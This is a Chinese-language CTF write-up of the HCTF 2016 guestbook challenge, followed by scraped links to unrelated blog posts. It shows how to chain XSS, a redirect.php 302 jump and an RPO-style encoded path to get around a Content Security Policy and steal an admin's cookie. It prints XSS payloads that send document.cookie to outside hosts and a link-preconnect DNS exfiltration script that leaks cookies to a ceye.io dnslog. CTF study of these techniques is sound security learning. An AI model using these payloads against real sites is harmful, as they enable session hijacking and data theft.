页面目录如下:

register.php注册页面。

user.php可发送消息给其他用户。

profile.php可配置参数添加用户头像(加载eval js文件)。

static存在redirect.php重定向页面。

看下csp规则:

default-src 'self';
script-src http://www.123.com/hctf2016_secret_area/static/ 'sha256-n+kMAVS5Xj7r/dvV9ZxAbEX6uEmK+uen+HZXbLhVsVA=' 'sha256-2zDCsAh4JN1o1lpARla6ieQ5KBrjrGpn0OAjeJ1V9kg=' 'sha256-SQQX1KpZM+ueZs+PyglurgqnV7jC8sJkUMsG9KkaFwQ=' 'sha256-JXk13NkH4FW9/ArNuoVR9yRcBH7qGllqf1g5RnJKUVg=' 'sha256-NL8WDWAX7GSifPUosXlt/TUI6H8JU0JlK7ACpDzRVUc=' 'sha256-CCZL85Vslsr/bWQYD45FX+dc7bTfBxfNmJtlmZYFxH4=' 'sha256-2Y8kG4IxBmLRnD13Ne2JV/V106nMhUqzbbVcOdxUH8I=' 'sha256-euY7jS9jMj42KXiApLBMYPZwZ6o97F7vcN8HjBFLOTQ=' 'sha256-V6Bq3u346wy1l0rOIp59A6RSX5gmAiSK40bp5JNrbnw=';
font-src http://www.123.com/hctf2016_secret_area/static/ fonts.gstatic.com; style-src 'self' 'unsafe-inline';
img-src 'self'

1、script没有开启unsafe-inline,也就是说不允许内联脚本(不能直接写js代码注入)
2、script只允许static目录,但这个目录下内容不可控
3、style-src开启了unsafe-inline而且是self
4、default-src为self,也就是站内请求都是被许可的

假如script开启了unsafe-inline的话,可以通过构造新开页面或者跳转来解决域限制,由于js可以任意构造,所以这里也就通过特别的方式绕过了原本的限制。这个题目就是hctf2016 guestbook的绕过csp思路

<scrscriptipt>window.open("​http://xxxx:8080/cookie.asp?msg="+document.body​)</scrscriptipt>
<scrscriptipt>window.locatioonn.href%3d"http%3a//www.example.com/xss/write.php%3fdomain%3d"%2bescape(document.cookie)%3b</sscriptcript>
<scrscriptipt>var a=document.createElement("a");a.href='http://xss.com/?cookie='+escape(document.cookie);a.click();</sscriptcript>

攻击目标获:取admin的cookie。

攻击思路:defalt-src是self,1、表示即使拿到cookie也只能在域内传送,所以只能将cookie传回注册用户afanti.user.php存在常规xss但是unsafe-inline不能写入js代码。要是引入js代码,引入的目录在/hctf2016_secret_area/static/这里不可控没法传入js,/hctf2016_secret_area/upload/这个目录我们可控(通过上传头像写入代码),但是这个目录没有在script-src内,所以通过重定向绕过csp.到我们可控的目录/hctf2016_secret_area/upload/

2、可以拿到cookie向域外传送:因为/hctf2016_secret_area/upload/可控,在上传头像中写入打开新页面来传递cookie.

3、<script src="http://www.123.com/hctf2016_secret_area/static/..%2f..%2fupload/76eb335a573b564c6a02d2debda70402"></script>类似rpo绕过csp.

主要利用浏览器和服务器解析不一致绕过csp,浏览器会加载static下的..%2f..%2fupload/76eb335a573b564c6a02d2debda70402文件,这是没有跨域的。但是服务器会把%2f解析,跳俩个目录返回http://www.123.com/hctf2016_secret_area/upload/76eb335a573b564c6a02d2debda70402导致绕过csp,/upload我们上传内容可控。

攻击流程:

1.注册afanti用户并上传头像,攻击代码会将admin的cookie发送到afanti用户下

说下把script标签去掉,截图中没去,要不会报错

2、给admin发送如下消息

<scscriptript src="http://www.123.com/hctf2016_secret_area/static/redirect.php?u=/hctf2016_secret_area/upload/76eb335a573b564c6a02d2debda70402"></scriscriptpt>

3.当admin用户访问时,加载js的时候,会通过redirect.php页面加载 /hctf2016_secret_area/upload/76eb335a573b564c6a02d2debda70402这个js文件。

将admin的cookie发送给afanti用户。

4.afanti用户访问得到admin 的cookie

4.只是将上传头像内容改一下,把cookie传到外域测试。当管理员打开页面时,会打开新的页面并把cookie带出来。

测试:xhr设置到域外被default-src拦截。

link的prefetch被chrome的default-src被拦截:

link的preload也遵循csp规则,当as属性设置为image时,被csp的image-src拦截,假如设置的属性可以传递到外域,eg:img-src:*,就可以传递到外域了:

link的prerender在chrome通过测试,但是很迷触发方式不太清楚:

link中的preconnect(dns通道)最好用,可以chrome和firefox都能绕csp:

dc = document.cookie;
dcl = dc.split(";");
n0 = document.getElementsByTagName("HEAD")[0];
for (var i=0; i<dcl.length;i++)
{
console.log(dcl[i]);
n0.innerHTML = n0.innerHTML + "<link rel=\"preconnect\" href=\"//" + escape(dcl[i].replace(/\//g, "-")).replace(/%/g, "_") + '.' + location.hostname.split(".").join("") + ".on1sw1.ceye.io\">";
console.log(n0.innerHTML);
}

打到如下cookie:

cookie格式:

admin=hctf2o16com30nag0gog0; path=/
PHPSESSID=fu6p3nm7fsdjo31vien84n3pr3; path=/

dnslog上的cookie:
_20admin_3dhctf2o16com30nag0gog0.www123com.xxxx.ceye.io
phpsessid_3dfu6p3nm7fsdjo31vien84n3pr3.www123com.xxxx.ceye.io
_20admin_3dhctf2o16com30nag0gog0.www123com.xxxx.ceye.io
phpsessid_3dfu6p3nm7fsdjo31vien84n3pr3.www123com.xxxx.ceye.io 

最后,不是所有的页面都能够被预加载,当资源类型如下时:

URL中包含下载资源
页面中包含音频、视频
POST、PUT和DELET操作的ajax请求
HTTP认证
HTTPS页面
含恶意软件的页面
弹窗页面
占用资源很多的页面
打开了chrome developer tools开发工具

总结:

通过302跳转绕过js,跳到我们可控的目录来执行js。

1、有跳转目录(登录界面)

2、存在xss

3、可控目录我们可以上传图像等文件

---------------------------------------------------------------------------------------

如果没有unsafe-inline的助攻,而且都是self的话,这样也只能寻求站内的上传点。

以下不算是绕过csp,属于绕过上传的内容检测

1、上传的swf内容

1.CWS
<script>var xml = new XMLHttpRequest(); xml.open('POST', 'http://xss.xxxxx.cc', true);
xml.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xml.send('cookie='+document.cookie); </script>
<link rel='import' href='/upload/1.cws'>

2、上传jpeg带有js的jpg图片。

https://lorexxar.cn/2016/12/07/polyglot-JPEGs-bypass-csp/

3、上传gif或者音频文件webp

https://mp.weixin.qq.com/s/ljBB5jStB7fcJq4cgdWnnw

其他类型的以后在总结。

参考文章:

https://lorexxar.cn/2016/11/30/hctf2016-xss/

https://lorexxar.cn/2016/10/31/csp-then2/

http://www.cnblogs.com/iamstudy/articles/bypass_csp_study.html

hctf2016_302跳转绕csp---总结的更多相关文章

  1. 阅读源码很重要,以logback为例,分享一个小白都能学会的读源码方法

    作为一个程序员,经常需要读一些开源项目的源码.同时呢,读源码对我们也有很多好处: 1.提升自己 阅读优秀的代码,第一可以提升我们自身的编码水平,第二可以开拓我们写代码的思路,第三还可能让我们拿到大厂 ...

  2. Vulnstack内网靶场2

    环境配置 内网2靶场由三台机器构成:WIN7.2008 server.2012 server 其中2008做为对外的web机,win7作为个人主机可上网,2012作为域控 网络适配器已经设置好了不用自 ...

  3. Web安全学习二

    目录 常见漏洞攻防 SQL注入 注入分类 按技巧分类 按获取数据的方式分类 注入检测 权限提升 数据库检测 绕过技巧 CheatSheet SQL Server Payload MySQL Paylo ...

  4. Web安全学习

    项目地址(参考):https://websec.readthedocs.io/zh/latest/basic/history.html 本文只能充当目录简介,具体还要自己深入学习. 序章 Web技术演 ...

  5. 牛客网 江西财经大学第二届程序设计竞赛同步赛 D.绕圈游戏-(跳青蛙游戏)找数的所有因子就可以了

    链接:https://ac.nowcoder.com/acm/contest/635/D来源:牛客网 D.绕圈游戏 433为了帮ddd提升智商,决定陪他van特殊的游戏.433给定一个带有n个点的环, ...

  6. CCF CSP 201803-1 跳一跳

    题目链接:http://118.190.20.162/view.page?gpid=T73 问题描述 近来,跳一跳这款小游戏风靡全国,受到不少玩家的喜爱. 简化后的跳一跳规则如下:玩家每次从当前方块跳 ...

  7. CSP 2019游记 & 退役记

    扶苏让我记录他AK CSP 的事实 ZAY NB!!! "你不配" 两年半的旅行结束了,我背着满满的行囊下了车,望着毫不犹豫远去的列车,我笑着哭了,笑着翻着我的行囊-- 游记 Da ...

  8. 全新的membership框架Asp.net Identity(2)——绕不过的Claims

    本来想直接就开始介绍Identity的部分,奈何自己挖坑太深,高举高打的方法不行.只能自己默默下载了Katana的源代码研究了好一段时间.发现要想能够理解好用好Identity, Claims是一个绕 ...

  9. Web 安全之内容安全策略 (CSP)

    内容安全策略 (CSP, Content Security Policy) 是一个附加的安全层,用于帮助检测和缓解某些类型的攻击,包括跨站脚本攻击 (XSS) 和数据注入等攻击. 这些攻击可用于实现从 ...

随机推荐

  1. js获取网页上选中的部分,包含html代码

    function getSelectedContents(){     if (window.getSelection) { //chrome,firefox,opera         var ra ...

  2. C#单元测试:NUnit详细使用方法

    1. TDD的简介 首先什么是TDD呢?Kent Beck在他的<<测试驱动开发 >>(Addison-Wesley Professional,2003)一书中,使用下面2个原 ...

  3. 基于asp.net mvc的近乎产品开发培训课程(第一讲)

    演示产品源码下载地址:http://www.jinhusns.com/Products/Download 

  4. VS中让用户选择路径

    //选择文件 OpenFileDialog ofd = new OpenFileDialog(); ofd.ShowDialog(); MessageBox.Show(ofd.FileName); / ...

  5. linux的日常经常使用的命令

    现在经常用到linux命令,又时候回忘记,我就做个小笔记,大家也可以补充补充.....可以评论一下,我会截图做笔记的 netstat -ntlp //查看当前系统进程和端口等信息 tail -f fi ...

  6. JavaWeb学习总结(九):Cookie进行会话管理

    一.会话的概念 会话可简单理解为:用户开一个浏览器,点击多个超链接,访问服务器多个web资源,然后关闭浏览器,整个过程称之为一个会话. 有状态会话:一个同学来过教室,下次再来教室,我们会知道这个同学曾 ...

  7. attr()与prop()之全选、反选问题

    获取js dom原生属性的时候最好用prop()方法,获取自己添加的属性时用attr() 原文:http://blog.sina.com.cn/s/blog_bf5ce8cc0102vuyt.html ...

  8. Oracle replace()函数

    往Oracle 中导入数据时,有一个列导入的数据应该时‘2017-04-17’ 的格式,结果导入的数据为 ‘2017/04/17’格式的,1000多条记录要一条条改基本不可能. 于是想到了replac ...

  9. leetcode Ch7-Graph Search

    1. Clone Graph BFS: class Solution { public: typedef UndirectedGraphNode UGNode; UndirectedGraphNode ...

  10. java 通过调用存储过程获取结果集

    一般在java中,数据查询是通过Statement, PreparedStatement获取结果集,今天向大家介绍通过CallableStatement调用存储过程,从而获取结果集.        本 ...